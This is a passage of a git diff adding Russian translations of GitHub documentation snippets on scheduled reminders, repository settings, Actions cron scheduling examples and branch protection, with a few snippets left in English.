a/translations/ru-RU/data/reusables/reminders/edit-existing.md b/translations/ru-RU/data/reusables/reminders/edit-existing.md new file mode 100644 index 000000000000..171f8df7a156 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/edit-existing.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 12b1ff09c002e81c4676b1ee93b9bfa29fb4a0bb +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884870" +--- +1. Рядом с запланированным напоминанием, которое требуется обновить, нажмите кнопку **Изменить**. +![Редактирование существующего запланированного напоминания](/assets/images/help/settings/scheduled-reminders-edit-existing.png) diff --git a/translations/ru-RU/data/reusables/reminders/edit-page.md b/translations/ru-RU/data/reusables/reminders/edit-page.md new file mode 100644 index 000000000000..98fabdc4adca --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/edit-page.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8cba1dcb8dc8560c38e56c3b6e5878c558773a0e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092774" +--- +1. Внесите одно или несколько изменений в запланированное напоминание. diff --git a/translations/ru-RU/data/reusables/reminders/ignore-drafts.md b/translations/ru-RU/data/reusables/reminders/ignore-drafts.md new file mode 100644 index 000000000000..5f72b0f9e988 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/ignore-drafts.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d26ac2c686e2685f35abf8d2d4bbf8ebf19d6b41 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879253" +--- +1. При необходимости, чтобы исключить черновик запросов на вытягивание из запланированных напоминаний, выберите **Игнорировать черновики**. Подробнее см. в разделе [Черновики запросов на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests). +![Флажок «Игнорировать черновики запросов на вытягивание»](/assets/images/help/settings/scheduled-reminders-ignore-drafts.png) diff --git a/translations/ru-RU/data/reusables/reminders/ignored-labels.md b/translations/ru-RU/data/reusables/reminders/ignored-labels.md new file mode 100644 index 000000000000..9bd75a4ba578 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/ignored-labels.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 94fc08772aa79b9721340f66c4e0afb15fee80bf +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092773" +--- +1. В разделе «Игнорируемые метки» введите список меток с разделением запятыми. Запланированные напоминания не включают запросы на вытягивание с одной или несколькими такими метками. +![Поле «Игнорируемые метки»](/assets/images/help/settings/scheduled-reminders-ignored-labels-field.png) diff --git a/translations/ru-RU/data/reusables/reminders/ignored-terms.md b/translations/ru-RU/data/reusables/reminders/ignored-terms.md new file mode 100644 index 000000000000..b91a7bec8304 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/ignored-terms.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 27f0d18510a2092e7f30f27d3e22b60f2087b8f3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145118467" +--- +1. В поле "Игнорируемые термины" введите разделенный запятыми список терминов, которые могут появляться в заголовках запросов на вытягивание. Запланированные напоминания не будут содержать запросы на вытягивание с одним или несколькими из этих терминов в заголовках. +![Поле "Игнорируемые термины"](/assets/images/help/settings/scheduled-reminders-ignored-terms-field.png) diff --git a/translations/ru-RU/data/reusables/reminders/min-age.md b/translations/ru-RU/data/reusables/reminders/min-age.md new file mode 100644 index 000000000000..b8958b99f640 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/min-age.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f100a240d1f02b25bf1ac55ba9cf84a87777692e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092770" +--- +1. В поле «Минимальный возраст» укажите возраст запроса на вытягивание (в часах). Запланированные напоминания не будут включать запросы на вытягивание, которые созданы позднее, чем указанное ограничение по возрасту. +![Поле «Игнорируемые метки»](/assets/images/help/settings/scheduled-reminders-min-age-field.png) diff --git a/translations/ru-RU/data/reusables/reminders/min-staleness.md b/translations/ru-RU/data/reusables/reminders/min-staleness.md new file mode 100644 index 000000000000..424847c523f6 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/min-staleness.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b3106024a259642955c124a0ea30460403504d86 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118459" +--- +1. В поле «Минимальное устаревание» укажите время с момента последнего действия в запросе на вытягивание (в часах). Запланированные напоминания не будут включать запросы на вытягивание, последние действия которых выполнялись позднее, чем указанное время. +![Поле «Минимальное устаревание»](/assets/images/help/settings/scheduled-reminders-min-staleness-field.png) diff --git a/translations/ru-RU/data/reusables/reminders/no-review-requests.md b/translations/ru-RU/data/reusables/reminders/no-review-requests.md new file mode 100644 index 000000000000..17db801e5ac0 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/no-review-requests.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f3c08113e35a39de26c1002994c09b647ab89ade +ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092769" +--- +1. Чтобы включить только запросы на вытягивание, в которых проверка специально запрашивается от команды или участника команды, при необходимости выберите **Требовать запросы на проверку**. Если этот параметр не выбран, все запросы на вытягивание включаются в запланированное напоминание. +![Игнорировать запросы на вытягивание без флажка «Запросы на проверку»](/assets/images/help/settings/scheduled-reminders-prs-without-requests.png) diff --git a/translations/ru-RU/data/reusables/reminders/real-time-alerts.md b/translations/ru-RU/data/reusables/reminders/real-time-alerts.md new file mode 100644 index 000000000000..655d1e2c9fe3 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/real-time-alerts.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 028a2b56726a640be2437a2b2c5afe7168b410e1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145118456" +--- +1. При необходимости, чтобы получать сообщения Slack сразу после наступления определенных событий, выберите **Включить оповещения в режиме реального времени** и выберите события для получения оповещений в режиме реального времени. diff --git a/translations/ru-RU/data/reusables/reminders/required-labels.md b/translations/ru-RU/data/reusables/reminders/required-labels.md new file mode 100644 index 000000000000..05f0274dafb2 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/required-labels.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d205117370fc0bec6b34c0e447376505492a8167 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880183" +--- +1. В разделе «Обязательные метки» введите список меток с разделением запятыми. Запланированные напоминания будут включать только запросы на вытягивание, которые еще не были проигнорированы, если для них есть одна или несколько таких меток. +![Поле «Обязательные метки»](/assets/images/help/settings/scheduled-reminders-required-labels-field.png) diff --git a/translations/ru-RU/data/reusables/reminders/scheduled-reminders-limitations.md b/translations/ru-RU/data/reusables/reminders/scheduled-reminders-limitations.md new file mode 100644 index 000000000000..670309b94490 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/scheduled-reminders-limitations.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c636e9dfc67fd9e921a1ac73213c256c1480aa6b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145118451" +--- +{% data variables.product.product_name %} активирует напоминания не более чем для пяти репозиториев для каждого владельца и 20 запросов на вытягивание для каждого репозитория. + diff --git a/translations/ru-RU/data/reusables/reminders/scheduled-reminders.md b/translations/ru-RU/data/reusables/reminders/scheduled-reminders.md new file mode 100644 index 000000000000..b45b072c3cf3 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/scheduled-reminders.md @@ -0,0 +1 @@ +1. In the "Integrations" section of the sidebar, click **{% octicon "clock" aria-label="The clock icon" %} Scheduled reminders**. diff --git a/translations/ru-RU/data/reusables/reminders/slack-channel.md b/translations/ru-RU/data/reusables/reminders/slack-channel.md new file mode 100644 index 000000000000..5077f7b21787 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/slack-channel.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 44f0589bb7706f982fcfd07b561eca301e5e9299 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145118443" +--- +1. В разделе «Канал Slack» введите имя канала Slack, где вы хотите получать уведомления. +![Поле «Канал Slack»](/assets/images/help/settings/scheduled-reminders-slack-channel.png) diff --git a/translations/ru-RU/data/reusables/reminders/times-dropdowns.md b/translations/ru-RU/data/reusables/reminders/times-dropdowns.md new file mode 100644 index 000000000000..e6cefbdd09d9 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/times-dropdowns.md @@ -0,0 +1,2 @@ +1. Under "Select Time(s)", click **9:00 AM** {% octicon "triangle-down" aria-label="The down triangle icon" %} to select one or more times you'd like to receive scheduled reminders. Optionally, to change your timezone, click {% octicon "triangle-down" aria-label="The down triangle icon" %} next to your current timezone and select a different time zone. +![Select time(s) dropdowns](/assets/images/help/settings/scheduled-reminders-times.png) diff --git a/translations/ru-RU/data/reusables/reminders/tracked-repos.md b/translations/ru-RU/data/reusables/reminders/tracked-repos.md new file mode 100644 index 000000000000..f28cd6e69054 --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/tracked-repos.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 70c50cf04a2ec2f58522902c2d0bc78ee87a3489 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118440" +--- +1. В разделе «Отслеживаемые репозитории» выберите репозитории, для которых команда должна получать напоминания о проверке запроса на вытягивание. + - Чтобы получить напоминания для всех репозиториев, к которым у выбранной команды есть доступ, щелкните **Все репозитории**. + - Чтобы получать напоминания для набора репозиториев, щелкните **Только выбранные репозитории**, а затем выберите один или несколько репозиториев, к которым у выбранной команды есть доступ. + + ![Выбор отслеживаемых репозиториев](/assets/images/help/settings/scheduled-reminders-tracked-repos.png) diff --git a/translations/ru-RU/data/reusables/reminders/update-buttons.md b/translations/ru-RU/data/reusables/reminders/update-buttons.md new file mode 100644 index 000000000000..818229ae0a6d --- /dev/null +++ b/translations/ru-RU/data/reusables/reminders/update-buttons.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ee4e0aa1481ce7991a7da3d63226c7dfe161cbea +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092742" +--- +1. Чтобы сохранить изменения, нажмите кнопку **Обновить напоминание**. При необходимости, чтобы протестировать изменения в процессе обновления изменений, нажмите кнопку **Обновить и проверить напоминание**. +![Кнопки обновления](/assets/images/help/settings/scheduled-reminders-update-buttons.png) diff --git a/translations/ru-RU/data/reusables/repositories/a-vulnerability-is.md b/translations/ru-RU/data/reusables/repositories/a-vulnerability-is.md new file mode 100644 index 000000000000..1cb71320f4b0 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/a-vulnerability-is.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3f8507e8a705e72f76b19a85b53c2feb7c9d8003 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118424" +--- +Уязвимость — это недостаток в коде проекта, который может привести к нарушению конфиденциальности, целостности или доступности проекта или других проектов, использующих его код. Уязвимости зависят от типа, серьезности и метода атаки. diff --git a/translations/ru-RU/data/reusables/repositories/about-READMEs.md b/translations/ru-RU/data/reusables/repositories/about-READMEs.md new file mode 100644 index 000000000000..f7e6c9da7c64 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/about-READMEs.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a4b1ca4e0548ebc2be12a34e0bb1687e9e650038 +ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: "148163453" +--- +Вы можете добавить файл README в репозиторий и указать в нем важные сведения о проекте. Файл сведений, а также лицензия репозитория, файл ссылок{% ifversion fpt or ghec %}, рекомендации по вкладу и правила поведения{% elsif ghes %} и рекомендации по вкладу{% endif %} сообщают об ожиданиях для вашего проекта и помогают управлять вкладом. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/repositories/about-github-actions.md b/translations/ru-RU/data/reusables/repositories/about-github-actions.md new file mode 100644 index 000000000000..8a105326cae1 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/about-github-actions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ab87b5f07d97746b699f629bb3ba810e6c2e06fd +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092741" +--- +{% data variables.product.prodname_actions %} позволяет автоматизировать рабочие процессы разработки программного обеспечения в том же расположении, где вы храните код и совместно работаете над запросами на вытягивание и проблемами. Вы можете написать отдельные задачи (т. н. действия) и объединить их для создания пользовательского рабочего процесса. diff --git a/translations/ru-RU/data/reusables/repositories/about-github-archive-program.md b/translations/ru-RU/data/reusables/repositories/about-github-archive-program.md new file mode 100644 index 000000000000..a99570bada2e --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/about-github-archive-program.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3c76627f868cade05336aaeca5ab588b8a2bca74 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118403" +--- +По умолчанию все общедоступные репозитории включены в {% data variables.product.prodname_archive %}, партнерское решение {% data variables.product.prodname_dotcom %} и таких организаций, как Software Heritage Foundation и Internet Archive, чтобы обеспечить долгосрочное хранение мирового открытого кода программного обеспечения. diff --git a/translations/ru-RU/data/reusables/repositories/about-internal-repos.md b/translations/ru-RU/data/reusables/repositories/about-internal-repos.md new file mode 100644 index 000000000000..5b569bfd2d42 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/about-internal-repos.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6322818f4e2fd7520fb3cbd30dd7d63781323133 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878978" +--- +{% ifversion ghec %}Если ваш отдел принадлежит корпоративной учетной записи, вы{% else %}Вы{% endif %} можете использовать внутренние репозитории, чтобы опробовать innersource в организации. Сотрудники организации могут работать совместно с использованием методологий открытого кода, не раскрывая сведения, защищаемые законодательством об интеллектуальной собственности{% ifversion ghes %}, даже если закрытый режим отключен{% endif %}. diff --git a/translations/ru-RU/data/reusables/repositories/accessing-repository-graphs.md b/translations/ru-RU/data/reusables/repositories/accessing-repository-graphs.md new file mode 100644 index 000000000000..7c0d4e0f04dd --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/accessing-repository-graphs.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 721e548c30a310f724df64803c303f3cca1094c4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118395" +--- +1. Под названием организации нажмите {% octicon "graph" aria-label="The bar graph icon" %} **Аналитика**. +![Вкладка "Аналитика" на главной панели навигации по репозиторию](/assets/images/help/repository/repo-nav-insights-tab.png) diff --git a/translations/ru-RU/data/reusables/repositories/accessing-repository-people.md b/translations/ru-RU/data/reusables/repositories/accessing-repository-people.md new file mode 100644 index 000000000000..b944debf5275 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/accessing-repository-people.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 911957acb924927aee44b92daacf8b8e1fffa656 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092738" +--- +1. На левой боковой панели щелкните **Люди**. +![Вкладка "Люди" на боковой панели репозитория](/assets/images/help/repository/accessing-repository-people.png) diff --git a/translations/ru-RU/data/reusables/repositories/action-root-user-required.md b/translations/ru-RU/data/reusables/repositories/action-root-user-required.md new file mode 100644 index 000000000000..f31abf35c8f1 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/action-root-user-required.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 81695036af856b526d3d9483e36b36a06a85b7ee +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118392" +--- +**Примечание**. {% data variables.product.prodname_actions %} должен выполнять пользователь Docker по умолчанию (root). Убедитесь, что в файле Dockerfile не задана инструкция `USER`, иначе вы не сможете получить доступ к `GITHUB_WORKSPACE`. diff --git a/translations/ru-RU/data/reusables/repositories/actions-cache-list.md b/translations/ru-RU/data/reusables/repositories/actions-cache-list.md new file mode 100644 index 000000000000..1672ba1b15a1 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/actions-cache-list.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 57a4650d10e6214e4c46c3965fd76df46d0eb739 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106816" +--- +1. На левой боковой панели в разделе "Управление" щелкните {% octicon "cache" aria-label="The Cache icon" %} **Кэши**. diff --git a/translations/ru-RU/data/reusables/repositories/actions-ci-cd.md b/translations/ru-RU/data/reusables/repositories/actions-ci-cd.md new file mode 100644 index 000000000000..8e93641c6105 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/actions-ci-cd.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5d94549ec7f8b9e5801dcbc8b0a99cc2d4564e9a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092734" +--- +С помощью {% data variables.product.prodname_actions %} можно создавать комплексные возможности непрерывной интеграции и непрерывного развертывания непосредственно в репозитории. diff --git a/translations/ru-RU/data/reusables/repositories/actions-env-var-note.md b/translations/ru-RU/data/reusables/repositories/actions-env-var-note.md new file mode 100644 index 000000000000..6b564e905a25 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/actions-env-var-note.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 81a94e9dce7fe1354dc1a32f0540ef90a4fe8dcb +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118387" +--- +Если определено несколько переменных среды с одинаковым именем, {% data variables.product.prodname_dotcom %} использует наиболее конкретную из них. Например, при выполнении шага определенная на нем переменная среды будет переопределять переменные задания и рабочего процесса с тем же именем. Определенная для задания переменная при его выполнении будет переопределять одноименную переменную рабочего процесса. diff --git a/translations/ru-RU/data/reusables/repositories/actions-scheduled-workflow-example.md b/translations/ru-RU/data/reusables/repositories/actions-scheduled-workflow-example.md new file mode 100644 index 000000000000..1ac31f98e3be --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/actions-scheduled-workflow-example.md @@ -0,0 +1,38 @@ +--- +ms.openlocfilehash: d17a60d7bf330c0c7fd3acfacd7652a054cf7c86 +ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885022" +--- +Можно запланировать выполнение рабочего процесса в определенное время в формате UTC с помощью [синтаксиса POSIX cron](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). Запланированные рабочие процессы запускаются в соответствии с последней фиксацией базовой ветви или ветви по умолчанию. Самый короткий интервал, с которым можно запускать запланированные рабочие процессы — 5 минут. + +В этом примере рабочий процесс запускается каждый день в 5:30 и 17:30 (в формате UTC): + +```yaml +on: + schedule: + # * is a special character in YAML so you have to quote this string + - cron: '30 5,17 * * *' + +``` + +Один рабочий процесс может запускаться несколькими событиями `schedule`. Доступ к запланированному событию, при возникновении которого был запущен рабочий процесс, можно получить с помощью контекста `github.event.schedule`. В этом примере рабочий процесс запускается с ежедневно с понедельника по четверг в 5:30 (в формате UTC), причем по понедельникам и средам шаг `Not on Monday or Wednesday` пропускается. + +```yaml +on: + schedule: + - cron: '30 5 * * 1,3' + - cron: '30 5 * * 2,4' + +jobs: + test_schedule: + runs-on: ubuntu-latest + steps: + - name: Not on Monday or Wednesday + if: github.event.schedule != '30 5 * * 1,3' + run: echo "This step will be skipped on Monday and Wednesday" + - name: Every time + run: echo "This step will always run" +``` diff --git a/translations/ru-RU/data/reusables/repositories/actions-tab.md b/translations/ru-RU/data/reusables/repositories/actions-tab.md new file mode 100644 index 000000000000..525fb9f38289 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/actions-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 89f73073f0f21f64309554c4d2de7c95a12c526f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145118384" +--- +1. Щелкните **Действия** {% octicon "play" aria-label="The Play icon" %} под именем репозитория. + ![Вкладка "Действия" на главной панели навигации по репозиторию](/assets/images/help/repository/actions-tab.png) diff --git a/translations/ru-RU/data/reusables/repositories/actions-workflow-status-badge-intro.md b/translations/ru-RU/data/reusables/repositories/actions-workflow-status-badge-intro.md new file mode 100644 index 000000000000..88de21b24e4b --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/actions-workflow-status-badge-intro.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 97d374bb242b29d797ec1ef84779edce618b1624 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092713" +--- +Индикатор состояния показывает, что в данный момент рабочий процесс завершается сбоем или передачей. Обычное индикатор состояния добавляется в файл `README.md` репозитория, но может быть добавлен на любую веб-страницу по вашему желанию. По умолчанию индикаторы показывают состояние ветви по умолчанию. Вы также можете отобразить состояние выполнения рабочего процесса для определенной ветви или события, используя параметры запроса `branch` и `event` в URL-адресе. + +![пример индикатора состояния](/assets/images/help/repository/actions-workflow-status-badge.png) diff --git a/translations/ru-RU/data/reusables/repositories/add-branch-protection-rules.md b/translations/ru-RU/data/reusables/repositories/add-branch-protection-rules.md new file mode 100644 index 000000000000..62f1603582b6 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/add-branch-protection-rules.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 004523ec6772ce099d370a3e76ec6b40ff3ea9e5 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883428" +--- +4. Нажмите кнопку **Добавить правило** рядом с пунктом "Правила защиты ветвей". + ![ Кнопка для добавления правила защиты ветвей](/assets/images/help/branches/add-branch-protection-rule.png) +5. В разделе "Шаблон имени ветви" введите имя ветви или шаблон, которые требуется защитить. + ![Поле правила ветви ](/assets/images/help/branches/specify-branch-protection-rule.png) diff --git a/translations/ru-RU/data/reusables/repositories/administrators-can-disable-issues.md b/translations/ru-RU/data/reusables/repositories/administrators-can-disable-issues.md new file mode 100644 index 000000000000..34889d5c8d77 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/administrators-can-disable-issues.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b6eb1eb519122420badb8988acceb796752a7cc8 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879266" +--- +Администраторы репозитория могут отключать проблемы для репозитория. Дополнительные сведения см. в разделе [Отключение проблем](/github/managing-your-work-on-github/disabling-issues). diff --git a/translations/ru-RU/data/reusables/repositories/allow-maintainers-user-forks.md b/translations/ru-RU/data/reusables/repositories/allow-maintainers-user-forks.md new file mode 100644 index 000000000000..fb8f1d150d60 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/allow-maintainers-user-forks.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 3c71b4f4d9bfae794b8325c01d85db55f91c2fa8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882870" +--- +1. Если вы хотите разрешить любому пользователю с правами доступа на отправку к вышестоящему репозиторию вносить изменения в ваш запрос на вытягивание в принадлежащих пользователю вилках, выберите **Разрешить изменения от координаторов**. + + {% warning %} + + **Предупреждение**. Если вилка содержит рабочие процессы {% data variables.product.prodname_actions %}, этот параметр будет называться **Разрешить координаторам редактирование и доступ к секретам**. Если разрешено редактирование в ветви вилки, которая содержит рабочие процессы {% data variables.product.prodname_actions %}, координаторы также смогут изменять рабочие процессы разветвленного репозитория, что может привести к раскрытию значений секретов и получению доступа к другим ветвям. + + {% endwarning %} diff --git a/translations/ru-RU/data/reusables/repositories/anyone-can-view-anonymized-url.md b/translations/ru-RU/data/reusables/repositories/anyone-can-view-anonymized-url.md new file mode 100644 index 000000000000..8294edb12d25 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/anyone-can-view-anonymized-url.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 478008cfe79ec4fe3c32c154af38692879f5c807 +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: "148160782" +--- +{% warning %} + +**Предупреждение:** При отправке изображения или видео в запрос на вытягивание или комментарий к проблеме или отправке файла в билет в {% data variables.contact.support_portal %} любой пользователь может просмотреть анонимный URL-адрес без проверки подлинности, даже если запрос на вытягивание или проблема находится в частном репозитории{% ifversion ghes %}или если включен закрытый режим{% endif %}. Чтобы конфиденциальные мультимедийные файлы оставались таковыми, обслуживайте их из частной сети или сервера, требующего проверки подлинности. {% ifversion fpt or ghec %} Дополнительные сведения об анонимных URL-адресах см. в разделе [Сведения об анонимных URL-адресах](/github/authenticating-to-github/about-anonymized-urls).{% endif %} + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/repositories/archiving-repositories-recommendation.md b/translations/ru-RU/data/reusables/repositories/archiving-repositories-recommendation.md new file mode 100644 index 000000000000..0fa7a2625830 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/archiving-repositories-recommendation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3041d683e33de9ea186f576d7641fc8ab5d22aa2 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092709" +--- +Перед архивированием репозитория рекомендуется закрыть все проблемы и запросы на вытягивание, а также обновить файл README и описание. diff --git a/translations/ru-RU/data/reusables/repositories/asking-for-review.md b/translations/ru-RU/data/reusables/repositories/asking-for-review.md new file mode 100644 index 000000000000..bbae0782b718 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/asking-for-review.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: aa89b0e3d90e71975e4dd0eed20ad5b63a9152db +ms.sourcegitcommit: 